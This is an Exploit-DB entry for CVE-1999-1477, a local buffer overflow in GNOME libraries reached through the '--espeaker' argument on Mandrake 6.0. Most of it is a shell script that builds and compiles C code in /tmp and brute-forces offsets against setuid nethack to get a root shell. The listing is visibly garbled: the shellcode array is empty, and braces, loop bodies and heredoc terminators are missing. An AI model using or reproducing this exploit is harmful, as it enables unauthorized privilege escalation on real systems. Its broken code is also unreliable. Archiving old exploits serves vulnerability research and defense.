Mandriva Linux Mandrake 6.0,Gnome Libs 1.0.8 espeaker - Local Buffer Overflow

ID EDB-ID:19512
Type exploitdb
Reporter Brock Tellier
Modified 1999-09-26T00:00:00


Mandriva Linux Mandrake 6.0,Gnome Libs 1.0.8 espeaker Local Buffer Overflow. CVE-1999-1477 . Local exploit for linux platform


A buffer overflow vulnerabilityin GNOME's shared libraries handling of the 'espeaker' command line argument may allow local users to attack setuid binaries linked against these libraries to obtain root access.

Calling a program linked against GNOME with the command like arguments '--enable-sound --espeaker=<80 byte buffer>' results in a buffer overflow.

One known setuid root program linked against these libraries in the Mandrake 6.0 distribution is '/usr/games/nethack'.

It is likely this is a vulnerability in the libesd shared library instead of libgnome. In that case esound 0.2.8 would be vulnerable. 

# Generic exploit for GNOME apps under Linux x86
# Our overflowed buffer is just 80 bytes so we'll have to get our settings
# just so.  Hence the shell script.
# This should work against any su/gid GNOME program.  The only one that comes
# with RH6.0 that is su/gid root is (the irony is killing me) nethack.
# Change the /usr/games/nethack statement in the while loop below to exploit
# a different program.
# -Brock Tellier

echo "Building /tmp/gnox.c..."
cat > /tmp/gnox.c <<EOF
 * Generic GNOME overflow exploit for Linux x86, tested on RH6.0
 * Will work against any program using the GNOME libraries in the form
 * Keep your BUFSIZ at 90 and only modify your offset

#include <stdlib.h>
#include <stdio.h>

char gnoshell[]= /* Generic Linux x86 shellcode modified to run our
program */

#define LEN 120
#define BUFLEN 90 /* no need to change this */
#define NOP 0x90
#define DEFAULT_OFFSET 300

unsigned long get_sp(void) {

__asm__("movl %esp, %eax");


void main(int argc, char *argv[]) {

int offset, i;
int buflen = BUFLEN;
long int addr;
char buf[BUFLEN];
char gnobuf[LEN];
if(argc > 2) {
  fprintf(stderr, "Error: Usage: %s <offset>\n", argv[0]);
 else if (argc == 2){
 else {


fprintf(stderr, "Generic GNOME exploit for Linux x86\n");
fprintf(stderr, "Brock Tellier\n\n");
fprintf(stderr, "Using addr: 0x%x  buflen:%d  offset:%d\n", addr-offset,
buflen, offset);

        *(int *)&buf[i]=addr-offset;

sprintf(gnobuf, "--enable-sound --espeaker=%s", buf);


echo "...done!"

echo "Building /tmp/gn.c..."

cat > /tmp/gn.c <<EOF
#include <unistd.h>

void main() {
  printf("before: uid=%d, euid=%d, gid=%d, egid=%d\n", getuid(),
geteuid(), getgid(), getegid());

  setreuid(geteuid(), geteuid());
  setregid(getegid(), getegid());

  printf("after: uid=%d, euid=%d, gid=%d, egid=%d\n", getuid(),
geteuid(), getgid(), getegid());


echo "...done!"

echo "Compiling /tmp/gnox..."
gcc -o /tmp/gnox /tmp/gnox.c
echo "...done!"

echo "Compiling /tmp/gn..."
gcc -o /tmp/gn /tmp/gn.c
echo "...done!"

echo "Launching attack..."


while [ $offset -lt 10000 ]; do
    /usr/games/nethack `/tmp/gnox $offset`
    offset=`expr $offset + 4`

echo "...done!"